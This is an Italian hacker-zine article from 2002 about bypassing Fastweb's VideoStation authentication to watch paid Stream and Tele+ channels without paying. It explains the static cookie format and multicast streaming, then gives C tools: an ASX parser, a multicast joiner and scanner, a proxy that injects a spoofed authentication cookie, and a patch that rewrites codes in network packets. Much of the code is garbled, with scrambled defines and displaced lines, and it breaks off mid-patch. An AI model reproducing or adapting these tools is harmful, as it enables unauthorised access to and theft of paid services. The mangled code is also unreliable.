============================================================================== --------------------[ bfi11-dev - file 12 - 10/09/2002 ]---------------------============================================================================== -[ hacking ]--------------------------------------------------------------------[ fastweb: v0rrete dirl0 a tutti (r0und 2) -----[ the recidjvo
-=[ fastweb: vorrete dirlo a tutti (round 2) ]=-
* 0x00 - index * * * * * * * * * *
0x00 0x01 0x02 0x04 0x08 0x10 0x20 0x40 0x80 0xff
+
index intro ancora una volta. sogno e visione un po' di storia, che non fa mai male finalmente ci siamo alla fine era tutto qui dai, qualcosa in piu`! tanti formati, ma alla fine ci siamo ancora piu` terra terra 0x01 - software and more..
* 0x01 - intro beh insomma, c'e` chi se l'aspettava, chi meno; c'e` chi ci sperava, chi invece si era completamente dimenticato di questo lavoro. cosa dire? io non me ne ero dimenticato. io non me ne sono dimenticato. io, non dimentico. l'altra volta ci siamo lasciati con una promessa, ed eccomi qui, pronto per un altro round, pronto ancora a mostrare al mondo come non si possa vivere e pianificare il lavoro pensando che in giro tutti siano un branco di poveri mentecatti, che non si metteranno mai a studiare quello che li circonda. perdonatemi se non saro` troppo preciso nell'indicarvi quello che serve, o se vi sembrero` come al solito vacuo e strano nel mio modo di atteggiarmi alla scrittura, ma in fondo quello che conta penso sia una cosa sola: a modo mio, ma lo sto dicendo nuovamente a tutti.
* 0x02 - ancora una volta. sogno e visione gia`.. capita che a volte succeda di nuovo. un viaggio, un treno, la solita destinazione, la solita illuminazione, un sorriso di compiacimento, l'euforia di un bambino che ritorna ancora.. ancora.. ancora. cosi` capita che, dopo notti insonni a leggersi i dump del traffico di rete accumulato in altrettanti notti passate insonni, con un po' di fortuna e con
un po' di logica, si possa arrivare senza troppi problemi a svelare una cosa che, beh insomma, magari ancora non e` un gran che, ma che per quello che mi riguarda reputo una faccenda molto simpatica :d ma cosa posso farci, ancora quel tremendo sentimento.. faro` bene a dirlo? non avro` problemi? vale la pena rischiare di perdere quello che mi sono guadagnato a forza di sacrifici per continuare la mia traversata con stretti i miei pensieri e le mie convinzioni? e se poi dovesse andare male, e mi ritrovassi in un'aula di tribunale.. ancora. la visione. ecco che si materializza.. e` proprio il mio incubo. l'aula di un tribunale, io che sto vedendo il mio avvocato che si scanna con la pubblica accusa, per cercare all'ultimo di salvarmi.. forse un monito inconscio che sarebbe meglio abbandonare tutto? poi, al momento decisivo, il giudice chiede silenzio.. una strana sensazione di timore e di freddo mi pervade.. eccolo, sta chiamando i due uomini che fino a poco fa urlavano parole di sfida vicino a se, sull'aula scende un silenzio quasi palpabile.. ecco, sta per parlare.. "dunque.. con fastweb ho scoperto la tv on demand e sono libero dagli orari dei programmi televisivi vedo quello che voglio quando voglio." e poi ancora la solita voce calma e felice: "non stupitevi se sentirete il desiderio irrefrenabile di dirlo a qualcuno. fastweb, vorrete dirlo a tutti." e se un giudice lo dice, come potra` condannarmi se lo dico anche io? =)
* 0x04 - un po' di storia, che non fa mai male naah, non preoccupatevi, vi avevo gia` avvisato a proposito :d non sono nella condizione mentale di parlarvi dettagliatamente di tutti i casini che ci sono stati dietro, quindi poche nozioni di base, un po' di retorica descrittiva, qualche utiity che puo` sempre tornare utile a chi si vuole guadagnare veramente qualcosa, e poi via, la vostra fantasia e la curiosita` che vi deve contraddistinguere, sempre. un compromesso alla fine: la storia e` grossa, non chiedetemi di darvi tutto. le cose vanno guadagnate, non posso certo mettermi a creare un nuovo esercito di video-kid, viste le mie note paternali che faccio in merito.. vedetela cosi`: qui c'e` la tecnica, ci sono le idee, c'e` il codice, voi metteteci la parte puramente illegale della questione, con il doppio scopo di lasciarmi alle spalle eventuali problemi legali, di evitare uno spargimento di sangue e un colpo al cuore dei poveri gestori di questi servizi, che, anche se non posso apprezzare il modo in cui si pongono i problemi lavorativi, in fondo sono sempre esseri umani. spero proprio che questa mia scelta non porti a un mercato di codici di abilitazione, spero di non dover mai sentire che si faccia trading di informazione a questi scopi. se siete utenti legalmente autorizzati a usufruire del servizio, e siete giustamente curiosi di sapere cosa sta succedendo sulla vostra rete, nelle vostre case, beh mettete in conto un paio di notti in compagnia di un tcpdump, e vedrete che non ci sara` il minimo problema.. in caso contrario,
ingegnatevi, cercate di scervellarvi su come possiate raggiungere il vostro scopo, ma vi prego, non fate la cosa che piu` odio, e non per strane mie manie, ma perche` vedo sprecato spesso un potenziale talento, e cio` e` una delle cose che non posso accettare. sono disponibile ad ogni chiarimento, ma che siano chiarimenti, capite cosa intendo.. e se proprio vi interessa un racconto fantastico su questi mesi di analisi folle, beh, in quel caso offritemi un bicchiere di porto, e seduti ad un pub come vecchi amici, saro` felice di intrattenervi per quanto lo riterrete opportuno con i racconti di un vecchio.. intanto leggete questo, studiate, immaginate, supponete, sperimentate, fallite, ritentate e ritentate.. alla fine qui c'e` di che stimolare la vostra curiosita`. altrimenti sedetevi e aspettate che esca la soluzione definitiva, comoda, senza bisogno di ingegno da parte vostra, che sicuramente tra un po' apparira` anche pubblicamente. se davvero e` questo che volete.
* 0x08 - finalmente ci siamo abbiamo detto di farla breve, no? e allora saremo crudi e brutali. scopo della missione: poter vedere i canali di stream e tele+, gratis, sul proprio televisore o sul proprio computer, senza dover fare altro che spendere 5 minuti leggendo questo documento e sistemando i prototipi di programmi che troverete in seguito. non me ne voglia murdock. ah dimenticavo, ma penso che fosse sottointeso. ci serve un abbonamento fastweb, anche solo telefono tutto a consumo, basta che sia un link in fibra (non le adsl per intenderci) e che abbia ip privato di man fastweb. questa almeno deve essere la base, volendo possiamo anche avere altro :> risultato: praticamente tutti i canali stream, tele+ bianco, tele+ nero, tele+ grigio, tele+ 16:9, e per finire in bellezza, tutta la programmazione di palco (che dopo le 23 diventa hot club, mmmmmmmm :>). se vi pare che questo prospetto valga l'inseguimento attraverso questi appunti disordinati e volutamente incompleti, seguitemi, altrimenti fate un po' voi. so che ultimamente ci sono parecchie persone che si sentono molto elite perche` si vedono la televisione via satellite gratis, usando schede clonate di cui altro non conoscono che scaricarsi un'immagine e lanciare il programma per inciderla sulla carta. ma cosa vi da' questo se non vedervi la televisione? e credete che sia costruttivo? non sono molto diversi da quelli che si passano gli account dei green su irc.. io ho trovato il mio modo per vedere la televisione senza passare dalle vie canoniche, c'e` chi spende le notti in modi sicuramente piu` gratificanti per lui, beh io sono fatto cosi`, mi ci sono impegnato, ci sono riuscito, e ora vediamo cosa succedera`. e poi da quel poco che conosco di quel mondo legato al satellite, con l'avvento di seca2 siamo messi un po' peggio, eh? perche`, perche` in realta` le nostre conoscenze non esistono e quindi non avendo piu` la meccanica azione di autoaggiornamento ci sentiamo sperduti.. se invece vi siete fatti il culo per ore e ore non potrete fare altro che sorridere e risolvere questo piccolo problema in maniera facile e divertente :>
e se vi state chiedendo se questo e` un disclaimer, beh, lo e`.
* 0x10 - alla fine era tutto qui vediamo a questo punto come funziona il sistema televisivo di fastweb. attraverso una macchinetta chiamata videostation, attaccata direttamente al cpv che avete in casa, e previo pagamento del canone di abbonamento e di noleggio dell'hardware, potrete accedere ai servizi di tv on demand, e cosa sicuramente molto appetitosa, ai canali di stream e di tele+. bene, ma pensavano davvero che nessuno avrebbe detto 1 mattina: "ehi, ma se io attacco l'aggeggio con un rj45, e tenendo conto che tutti i servizi fastweb sono distribuiti su ip, non e` che magari, cosi`, per caso, riesco a capire come funziona la videostation e magari emularla per vedermi a scrocco la tv? scelte commerciali temo, e in quel campo io non oso metterci bocca. beh e` arrivato il momento di pensarci un po' su, che ne dite? in questo round non mi occupero` di come funzioni la videostation di per se`, o di cosa sia, sara` prossima e approfondita trattazione. vediamo pero` almeno la parte che ci interessa, quella relativa all'autenticazione verso i server di stream e tele+. tutto si svolge su una semplice transazione http, in poche parole all'interno della videostation ci sta un browser che si collega ai server di streaming di fastweb e... cookie. semplice, lineare, normalissimo, http cookie. gia`, come al solito il gioco e` gia` finito.. o quasi :d la parte difficile (davvero era difficile? =) era arrivare a studiare bene come era strutturato il tutto, comunque devo dire che e` stato un ottimo esercizio per la mente, se non per il corpo :d insomma, il client altro non fa che collegarsi al server principale (una delle poche notizie specifiche che posso darvi) http://webdvd.fastweb.tv/, e passando questo cookie magico di autenticazione (e` univoco per ogni videostation), viene rediretto a tutta la parte di gestione a cui normalmente accedete tramite il vostro televisore e la videostation. e poi? beh, il resto altro non e` che mpeg, e voglia il cielo che questo sia un problema. bene, altro non vi serve, buona visione :d
* 0x20 - dai, qualcosa in piu`! ok ok lo ammetto, forse sono stato davvero un po' troppo rapido nell'esporre le cose.. riprendiamo con calma, analizzando un po' di dettagli tecnici che vi faranno risparmiare parecchie notti dietro ai dump di rete :d webdvd=stbsn=kr0000000000&mac=00:00:00:00:00:00&ip=0.0.0.0&hr=hr0000000000000 stbsn e hr sono due codici seriali che rilasciano associati alla videostation, mentre mac e` l'indirizzo hardware della scheda fast ethernet della videostation. ip e` l'ip, ma ovviamente essendo preso via dhcp al boot, non e` soggetto a
controllo. gli altri sono una tripla registrata da qualche parte sul server di streaming.. quando vi collegate la prima volta su http://webdvd.fastweb.tv/, il cookie viene valutato e, a seconda dei casi, si viene reindirizzati su una pagina di autenticazione con una strings di get, oppure sulla pagina non abilitata alla visione. in poche parole, se vi collegate con il vostro browser senza mandare il cookie finite su www.fastweb.it :> ma passando il cookie corretto e seguendo i link arrivate diretti dove volete, e avete abilitato tutto quello che normalmente avete con quell'account. dunque tutto si riduce a un cookie? beh, si` e no.. mettiamola cosi`: tutta la parte di gestione si riduce a questo, ma poi lo scopo finale sara` ovviamente vedersi i programmi, e questi come arrivano? facciamo quindi una distinzione tra filmati statici e programmi in streaming. entrambi utilizzano la codifica mpeg (alcuni la 1, altri la 2), ma cio` non ci importa; la principale differenza e` che quelli statici noi li vediamo dall'inizio alla fine, partono esattamente quando vogliamo noi. infatti altro non sono che file .mpg, e ce li prendiamo direttamente via http dal server che ce li fornisce :d per quanto riguarda la programmazione in streaming (che poi e` il metodo con cui vengono diffusi stream e tele+), altro non e` che trasmissione mpeg su gruppi multicast. ovvero, noi ci attacchiamo al gruppo multicast giusto e ci arriva direttamente il filmato, possibile? beh, e` cosi`, cosa posso farci, io?
* 0x40 - tanti formati, ma alla fine ci siamo il passaggio intermedio e` comprendere i file asx che ci vengono ritornati dal server di streaming.. asx e` un formato che ci comunica i dati ai quali e` reperibile il nostro contenuto (normalmente un asf, nel nostro invece mpeg). vediamo i due tipi possibili di asx che tratteremo: - asx standard - static mpeg <param name="server" value="fastweb/3.1337" /> <entry> beh credo che questo esempio parli da solo :d - pseudo-asx - streaming mpeg <multicast_playlist> 10.20.30.40 webdvd 9877 c:\agent\iplayer.exe bb
720 576 <start_channel>fastboystv 05-31-2002 fastboys <startup_actions> playvideo 224.0.0.1 12345 1 <map_to_key>p playvideo <stop> <map_to_key>s stopvideo <pause> <map_to_key>h pausevideo <map_to_key>f changechannelup <map_to_key>r changechanneldown le uniche note interessanti sono il gruppo multicast (d_address) e la porta udp sulla quale si riceveranno i dati (udp_port) altro non ci serve! :> una volta che abbiamo questi dati, nel caso di flusso statico basta richiederlo via http, mentre nel secondo dovremmo fare la join al gruppo multicast specificato su quella porta specifica, e le simpatiche vlan create sui catalyst in cantina (sempre loro, sempre lorooo :>) faranno il resto :d
da notare che lo streaming che ci arriva via multicast non e` un flusso rtp, ma puro e semplice mpeg :d
* 0x80 - ancora piu` terra terra bene, non avete capito nulla? ottimo :d in fondo era il mio scopo, eheheh.. a parte gli scherzi, ve l'ho detto, mi spiace, ma non e` il periodo giusto per me.. la teoria che ho dato basta per chiunque si intenda un minimo di reti, di protocolli e di smanettare qualche notte cercando la via giusta.. per aiutare tutti gli altri ho preparato una piccola suite di programmi che vi daranno una mano :d ahime`, sono tutti senza commenti, ma sono davvero semplici.. al massimo e` la volta buona che mettete mano a qualche manuale di reti e di c, cosa molto divertente.. :d anzi gia` che ci sono, non garantisco ne` che funzionino, ne` che siano sicuri dal punto di vista della programmazione. sono appunti di codice, sono flussi di coscienza da cui prendere libero spunto, ecco, questo sono. ognuno dei programmi puo` venire compilato in modalita` di debug o meno, semplicemente aggiungendo nei makefile come opzione da passare al compilatore -dfastream_debug; la differenza sta nel fatto che puo` essere utile per diagnostica (messaggi sullo stderr), ma a volte e` necessario disattivarlo per evitare output indesiderato (ad esempio se lanciati da processi di inetd, i programmi potrebbero tornare stderr su stdout creando garbage in uscita). quasi tutti sono pensati per essere eseguiti in pipe, oppure con una exec() alla fine che e` definibile come meglio si crede: cosi` come sono non hanno utilita` eccessiva, ma sistemati a dovere sono veramente potenti, fidatevi :d vediamoli ora in dettaglio.
* 0xff + 0x01 - software and more.. ricordate: appunti, non programmi. leggete almeno le prime righe di ogni file, e sistemate i define per far funzionare qualcosa. altrimenti, beh temo che dovrete cercare un'altra fonte di divertimento (l'ho detto e lo ripeto, non voglio assolutamente creare un esercito di video-kids!). asux: semplice, efficace. prende un file, riconosce il formato (asx o pseudo-asx), e ne estrae i parametri necessari per richiedere il flusso mpeg. <-| fastream/asux.c |-> /*** fastream suite ******************************************** * _ ____ __ __ * * / \ / ___| _ _\ \/ / * * / _ \ \___ \| | | |\ / * * / ___ \ ___) | |_| |/ \ * * /_/ \_\____/ \__,_/_/\_\ * * * * the recidjvo - * * * * *** devel/untested/unstable *** *
* * ******************************************** fastboys, 2002 ***/ #define exec_uni #define exec_multi //#define exec_uni execl(..) //#define exec_multi execl(..) #ifdef fastream_debug #define debug(x...) fprintf(stderr, x) #else #define debug(x...) #endif #define #define #define #define #define
asx_uni "" tok_multi2 ""
#include <stdio.h> #include <string.h> #include int main(void); void unicast_asx(void); void multicast_asx(void); int main() { char buff[24]; debug("asux devel-version, fastboys 2002.\n"); fgets(buff, sizeof(buff), stdin); if(!strncasecmp(asx_uni, buff, strlen(asx_uni))) { debug("detected asx unicast format"); unicast_asx(); } else if(!strncasecmp(asx_multi, buff, strlen(asx_multi))) { debug("detected pseudo-asx multicast format"); multicast_asx(); } else { debug("no format detected.\n"); } }
exit(0);
void unicast_asx() { char buff[1024], *b; while(fgets(buff, sizeof(buff), stdin) != (char *)null) { if((b = strstr(buff, tok_uni)) != (char *)null) { b = strtok(b + strlen(tok_uni), "\""); debug(" (%s)\n", b); break; } bzero(buff, sizeof(buff));
} exec_uni; return; } void multicast_asx() { char buff[1024], *b; char multi_ip[16]; char multi_port[6]; while(fgets(buff, sizeof(buff), stdin) != (char *)null) { if((b = strstr(buff, tok_multi1)) != (char *)null) { b = strtok(b, "<"); snprintf(multi_ip, 16, "%s", b + strlen(tok_multi1) - 1); debug(" (%s", multi_ip); } else if((b = strstr(buff, tok_multi2)) != (char *)null) { b = strtok(b, "<"); snprintf(multi_port, 6, "%s", b + strlen(tok_multi2) - 1); debug(" %s)\n", multi_port); } bzero(buff, sizeof(buff)); } exec_multi; return; } <-x-> multokrast: yeee!!! :> er mejo della suite! quello che fa non sorprende nessuno, ma a me ha sorpreso quanto fosse semplice giocare in multicast! passategli i parametri giusti e vedrete, vedrete! :d <-| fastream/multokrast.c |-> /*** fastream suite ******************************************** * __ __ _ _ _ __ _ * * | \/ |_ _| | |_ ___ | |/ /_ __ __ _ ___| |_ * * | |\/| | | | | | __/ _ \| ' /| '__/ _` / __| __| * * | | | | |_| | | || (_) | . \| | | (_| \__ \ |_ * * |_| |_|\__,_|_|\__\___/|_|\_\_| \__,_|___/\__| * * * * the recidjvo - * * (unerasable thanks to nextie :>) * * * * *** devel/untested/unstable *** * * * ******************************************** fastboys, 2002 ***/ #ifdef fastream_debug #define debug(x...) fprintf(stderr, x) #else #define debug(x...) #endif
#include #include #include #include #include #include #include #include
<stdio.h> <stdlib.h> <signal.h> <arpa/inet.h> <sys/types.h> <sys/socket.h>
int main(int argc, char *argv[]); void scanexit(int signaln); int main(int argc, char *argv[]) { int sock; struct sockaddr_in saddr; struct ip_mreq mr; int dlen, slen = sizeof(struct sockaddr_in); char buf[(16 * 1024)]; debug("multokrast devel-version, fastboys 2002.\n"); if(argc < 3) { debug("usage: %s <multicast_ip> <port> [scan_time]\n", argv[0]); exit(-1); } if(!in_multicast(ntohl(inet_addr(argv[1])))) { debug("usage: %s <multicast_ip> <port>\n", argv[0]); exit(-1); } if((sock = socket(af_inet, sock_dgram, ipproto_ip)) < 0) { debug("socket()\n"); exit(-1); } saddr.sin_family = af_inet; saddr.sin_addr.s_addr = inet_addr(argv[1]); saddr.sin_port = htons(atoi(argv[2])); if(bind(sock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) { debug("bind()\n"); exit(-1); } mr.imr_multiaddr = saddr.sin_addr; mr.imr_interface.s_addr = htonl(inaddr_any); if(setsockopt(sock, ipproto_ip, ip_add_membership, (void *)&mr, sizeof(mr)) < 0) { debug("setsockopt()\n"); exit(-1); } if(argc == 4) { signal(sigalrm, scanexit); alarm(atoi(argv[3])); debug("scanning mode: %s %s for %d seconds. argv[2], atoi(argv[3])); }
", argv[1],
while(1) { if((dlen = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *)&saddr, &slen)) <= 0) { debug("recvfrom()\n"); exit(-1); } debug("\b\b\b\bdata"); write(stdout_fileno, buf, dlen); } debug("\n"); }
exit(0);
void scanexit(int signaln) { debug("\n"); exit(0); } <-x-> mmm: questo miniframmento di codice implementa una sorta di rozzo proxy http che modifica le richieste del browser per farlo apparire piu` simile alla videostation (con l'aggiunta statica ai cookies dell'autenticazione. nel caso venga richiesto un url multicast, puo` lanciare direttamente multokrast (o chi per esso) con l'iniezione degli header http in modo da trasformare il flusso mpeg in unicast http (molto utile per fare uscire il flusso mpeg dalla rete fastweb trasformando da udp a tcp il metodo di trasmissione, unica avvertenza, ricordate che quasi tutti i filmati in multicast sono da 4megabit/s). <-| fastream/mmm.c |-> /*** fastream suite ******************************************** * * * _ __ ___ _ __ ___ _ __ ___ * * | '_ ` _ \| '_ ` _ \| '_ ` _ \ * * | | | | | | | | | | | | | | | | * * |_| |_| |_|_| |_| |_|_| |_| |_| * * * * the recidjvo - * * * * *** devel/untested/unstable *** * * * ******************************************** fastboys, 2002 ***/ #define videostation_authcode "webdvd=stbsn=kr0000000000&mac=00:00:00:00:00:00&ip=0.0.0.0&hr=hr0000000000000" #define multi_headers_file "/usr/local/etc/multicast" #define exec_multi execl("/usr/local/bin/multokrast", "multokrast", host, cport, null) #ifdef fastream_debug #define debug(x...) fprintf(stderr, x) #else #define debug(x...)
#endif #define #define #define nav)\n" #define #define #define #define #include #include #include #include #include #include #include #include #include
http_proto "http://" http_port 80 header_agent "user-agent: mozilla/4.78 [en] (x11; u; linux.2.4.12.i586; header_agent_keylen 12 header_keepalive "connection: keep-alive" header_cookie "cookie: " videostation_authcode header_cookie_keylen 8 <stdio.h> <string.h> <stdlib.h> <arpa/inet.h> <sys/types.h> <sys/socket.h>
int main(void); void multicast_headers(void); int resolv4(char *hostname, struct sockaddr_in *saddr); int main() { char firstline[1024], newline[1024], *host = (char *)null, *path = (char *)null, cport[6]; short unsigned int port; int sock; struct sockaddr_in saddr; fgets(firstline, sizeof(firstline), stdin);
path);
if(strchr(firstline, ' ') == (char *)null) { debug("only http proxy support.\n"); exit(-1); } host = (char *)((int)strchr(firstline, ' ') + 1); if(strncasecmp(host, http_proto, strlen(http_proto))) { debug("only http proxy support.\n"); exit(-1); } host = strtok((char *)((int)host + strlen(http_proto)), "/"); if(strchr(host, ':') == (char *)null) { port = (u_short)http_port; } else { port = (u_short)atoi((char *)((int)strchr(host, ':') + 1)); } path = (char *)((int)host + strlen(host) + 1); host = strtok(host, ":"); snprintf(newline, sizeof(newline), "%s /%s", strtok(firstline, " "), saddr.sin_family = af_inet; saddr.sin_port = htons(port);
if(resolv4(host, &saddr)) { debug("unable to resolve %s\n", host); exit(-1); } if(in_multicast(ntohl(saddr.sin_addr.s_addr))) { debug("multicast proxy request detected.\n"); multicast_headers(); sleep(1); snprintf(cport, sizeof(cport), "%d", port); exec_multi; exit(0); } debug("unicast proxy request detected.\n"); if((sock = socket(af_inet, sock_stream, ipproto_tcp)) < 0) { debug("socket()\n"); exit(-1); } if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) { debug("connect()\n"); close(sock); exit(-1); } if(send(sock, newline, strlen(newline), 0) < 0) { debug("write()\n"); close(sock); exit(-1); } port = 1; while(fgets(firstline, sizeof(firstline), stdin) != (char *)null) { if(!strncasecmp(firstline, header_agent, header_agent_keylen)) { strncpy(firstline, header_agent, sizeof(firstline)); } else if(!strncasecmp(firstline, header_keepalive, strlen(header_keepalive))) { continue; } else if(!strncasecmp(firstline, header_cookie, header_cookie_keylen)) { send(sock, header_cookie, strlen(header_cookie), 0); send(sock, ";", strlen(";"), 0); send(sock, strstr(firstline, " "), strlen(strstr(firstline, " ")), 0); port = 0; continue; }
0);
if(!strcmp(firstline, "\r\n")) { if(port) { send(sock, header_cookie, strlen(header_cookie), }
send(sock, "\n", strlen("\n"), 0);
send(sock, firstline, strlen(firstline), 0); break;
}
} send(sock, firstline, strlen(firstline), 0);
while((port = read(sock, firstline, sizeof(firstline))) > 0) { write(stdout_fileno, firstline, port); } close(sock); exit(0); } void multicast_headers() { file *headers = (file *)null; char headerline[1024]; if((headers = fopen(multi_headers_file, "r")) == (file *)null) { debug("error opening " multi_headers_file ".\n"); } while(fgets(headerline, sizeof(headerline), headers) != (char *)null) { fprintf(stdout, "%s", headerline); fflush(stdout); } fclose(headers); fprintf(stdout, "\n"); fflush(stdout); return; } int resolv4(char *hostname, struct sockaddr_in *saddr) { struct hostent *host_data; if((saddr->sin_addr.s_addr = inet_addr(hostname)) != -1) { return(0); } if((host_data = gethostbyname(hostname)) == (struct hostent *)null) { return(-1); } memcpy(&saddr->sin_addr.s_addr, host_data->h_addr_list[0], host_data>h_length); return(0); } /* eof */ videos.patch: un po' la chicca della collezione, applicatela all'a-team (trovate il codice nel round 1) e potrete facilmente aggiungere
l'autenticazione automatica alla vostra videostation, in modo da abilitare attraverso codici la vostra videostation sgarrupata! teoricamente dovrebbe servirvi solamente come strumento di studio iniziale, la cosa migliore e` in qualche modo arrivare a trovare almeno un ip multicast su cui viene trasmesso il flusso mpeg, dopodiche` fate voi, gli ip sono tutti amici e contigui, fate poi prima a farvi un bello scan (ad esempio usando le potenzialita` di multokrast come multicast network scanner (e un po' di sano bash scripting). createvi una vostra bella *pagina telecomando*, dalla quale potete scegliere direttamente il programma, e poi usate mplayer o le funzionalita` di navigazione sul web della vostra videostation per accedervi e poter scegliere il programma che piu` vi aggrada (eheh non so come mai sento che sarete tutti li` ad aspettare dopo le 23 hot club, beh se durante il giorno trovate la programmazione palco, tornate su quei canali la sera :d) giusto un paio di note tecniche: per quanto riguarda la versione delle libnet, bisogna usare la 1.0.2a in quanto le versioni precedenti e successive presentano modifiche strutturali molto evidenti, e non permettono di eseguire alcune operazioni ritenute oltremodo importanti. <-| fastream/videos.patch |-> --- a-team.c 2002-03-22 00:00:00.000000000 +0100 +++ a-team.c.patched 2002-09-02 09:59:28.000000000 +0200 @@ -5,7 +5,15 @@ * / _ \ _____| __/ _ \/ _` | '_ ` _ \ * * / ___ \_____| || __/ (_| | | | | | | * * /_/ \_\ \__\___|\__,_|_| |_| |_| * -* * +* _ * +* _| |_ * +* |_ _| * +* _ __ |_| __ __ * +* _ __(_)___/ /__ ____ _____ ____ ____ _/ /______/ /_ * +* | | / / / __ / _ \/ __ \/ ___/ / __ \/ __ `/ __/ ___/ __ \ * +* | |/ / / /_/ / __/ /_/ (__ ) / /_/ / /_/ / /_/ /__/ / / / * +* |___/_/\__,_/\___/\____/____(_) .___/\__,_/\__/\___/_/ /_/ * +* /_/ * * * * based on heat - half ethernet address translation tecnology * * the recidjvo - [email protected] * @@ -13,7 +21,7 @@ * * * libraries needed: * * - libpcap - http://www.tcpdump.org/ * -* - libnet - http://libnet.sourceforge.net/ * +* - libnet - http://www.packetfactory.net/libnet/ (1.0.2a) * * * * compile with: * * # cc -o a-team a-team.c `libnet-config --defines --libs` -lpcap -pthread * @@ -21,7 +29,10 @@ * * *******************************************************************************/ -#define +#define +#define +#define + #define
progname "a-team" code1 "000000000000" code2 "00:00:00:00:00:00" code4 "000000000000000" errbuf_size ((pcap_errbuf_size > libnet_errbuf_size) ? pcap_errbuf_size :
libnet_errbuf_size) #define read_timeout 1000 #define stack_timeout 2 @@ -32,6 +43,15 @@ #define loop -1 #define debugf(x...); if(debug) { printf(x); fflush(stdout); } +#define runpatch 0 +#define tok1 "webdvd=stbsn=" +#define tok2 "&mac=" +#define tok3 "&ip=" +#define tok4 "&hr=" +#define len1 0x0c +#define len2 0x11 +#define len4 0x0f + #include #include #include @@ -58,7 +78,8 @@ struct ether_addr *ext_hw_addr = (struct ether_addr *)null; struct interface internal, external; char debug = debug; +char runpatch = runpatch; +unsigned char *video_hw_addr = (unsigned char *)null; extern char pcap_version[]; int main(int argc, char *argv[]); @@ -69,6 +90,7 @@ void heat(char *id, struct pcap_pkthdr *pcap_h, u_char *out_packet); void push(char *packet, int len, int id, struct timeval *tv); int pop(char *packet, int len, int id); +unsigned char *replace(unsigned char *buf, int len); int main(int argc, char* argv[]) { /* set id flags */ @@ -77,8 +99,7 @@
+
/* blank record structures */ bzero(int_recs, sizeof(struct stack_packet) * stacklen); bzero(int_recs, sizeof(struct stack_packet) * stacklen); bzero(ext_recs, sizeof(struct stack_packet) * stacklen); /* get command line params */ getparms(argc, argv);
@@ -86,6 +107,8 @@ initialize(&internal); initialize(&external); + debugf(" * "off")); + /* fork && if(!debug) /* @@ -95,7 +118,7 @@
videos.patch detected.. turned %s\n", ((runpatch) ? "on" : go! */ { go in the daemon land */
setsid(); } internal + internal
debugf("logging traffic ( . -> from external to internal | o -> from to external)\n"); debugf("logging traffic ( . -> from external to internal | o -> from to external | * -> videospatched packet)\n"); pthread_create(&external.pthread, null, threadloop, (void *)&external); threadloop((void *)&internal);
@@ -107,7 +130,7 @@ char optc; /* parse command line params */ while((optc = getopt(argc, argv, "i:e:dh")) != eof) { while((optc = getopt(argc, argv, "i:e:a:dvh")) != eof) { switch(optc) { case 'i': internal.name = optarg; @@ -115,9 +138,20 @@ case 'e': external.name = optarg; break; + case 'a': + video_hw_addr = (unsigned char *)malloc(ether_addr_len * sizeof(unsigned char)); + if(sscanf(optarg, "%x:%x:%x:%x:%x:%x", &video_hw_addr[0], &video_hw_addr[1], &video_hw_addr[2], + &video_hw_addr[3], &video_hw_addr[4], &video_hw_addr[5]) == 6) { + break; + } + usage(argv[0]); + exit(0); case 'd': debug = 1; debugf("set verbose mode on\n"); + debugf("set verbose mode on\n"); + break; + case 'v': + runpatch = 1; break; case 'h': usage(argv[0]); @@ -132,6 +166,12 @@ } debugf("set internal interface to: %s\n", internal.name); debugf("set external interface to: %s\n", external.name); + if(video_hw_addr == (unsigned char *)null) { + debugf("no video hardware address detected, applying to all traffic.\n"); + } else { + debugf("set video hardware address to: [%02x:%02x:%02x:%02x:%02x:%02x]\n", video_hw_addr[0], video_hw_addr[1], + video_hw_addr[2], video_hw_addr[3], video_hw_addr[4], video_hw_addr[5]); + } +
return; } @@ -139,7 +179,7 @@ void usage(char *progname) { /* program usage */ fprintf(stderr, "usage:\t%s -i internal_interface -e external_interface [-d]\n\t%s -h\n\n", progname, progname); + fprintf(stderr, "usage:\t%s -i internal_interface -e external_interface [-d] [-v] [-a video_hw_addr]\n\t%s -h\n\n", progname, progname); return; } @@ -203,13 +243,16 @@ void heat(char *id, struct pcap_pkthdr *pcap_h, u_char *out_packet) { struct interface *iface; + + + + +
u_char u_char struct struct
*payload; packetcp[snaplen]; libnet_ip_hdr *iphdr; libnet_tcp_hdr *tcphdr;
/* check where the packet is coming from */ if((int)id) { /* from external interface to internal interface */ iface = &internal; -
/* check for duplicates */ pthread_mutex_lock(&ext_packet_mutex); if (pop(out_packet, pcap_h->len, (int)id)){ /* packet is duplicate */ @@ -217,8 +260,9 @@ return; } push(out_packet, pcap_h->len, (int)id, (struct timeval *)&pcap_h>ts); pthread_mutex_unlock(&ext_packet_mutex); + +
/* check for duplicates */ pthread_mutex_unlock(&ext_packet_mutex); } else {
/* from internal interface to external interface */ iface = &external; @@ -230,10 +274,28 @@ pthread_mutex_unlock(&int_packet_mutex); return; } + + if(runpatch) { + if((video_hw_addr == (unsigned char *)null) || ! memcmp(((struct libnet_ethernet_hdr *)out_packet)->ether_shost, video_hw_addr, ether_addr_len)) { + iphdr = (struct libnet_ip_hdr *)(out_packet + libnet_eth_h); + if(iphdr->ip_p == ipproto_tcp) { + memcpy(packetcp, out_packet, pcap_h>len);
+ tcphdr = (struct libnet_tcp_hdr *)((int)packetcp + libnet_eth_h + libnet_ip_h); + payload = packetcp + libnet_eth_h + libnet_ip_h + (tcphdr->th_off << 2); + if(replace(payload, pcap_h->len libnet_eth_h - libnet_ip_h - tcphdr->th_off) != null) { + out_packet = packetcp; + debugf("*"); + libnet_do_checksum(out_packet + 14, ipproto_tcp, pcap_h->len - libnet_eth_h - libnet_ip_h); + } + } + } + } + memcpy(((struct libnet_ethernet_hdr *)out_packet)->ether_shost, ext_hw_addr->ether_addr_octet, ether_addr_len); + push(out_packet, pcap_h->len, (int)id, (struct timeval *)&pcap_h>ts); pthread_mutex_unlock(&int_packet_mutex); } + } /* write the packet */ libnet_write_link_layer(iface->net_link, iface->name, out_packet, pcap_h-
>len); @@ -292,4 +354,38 @@ return 0; }
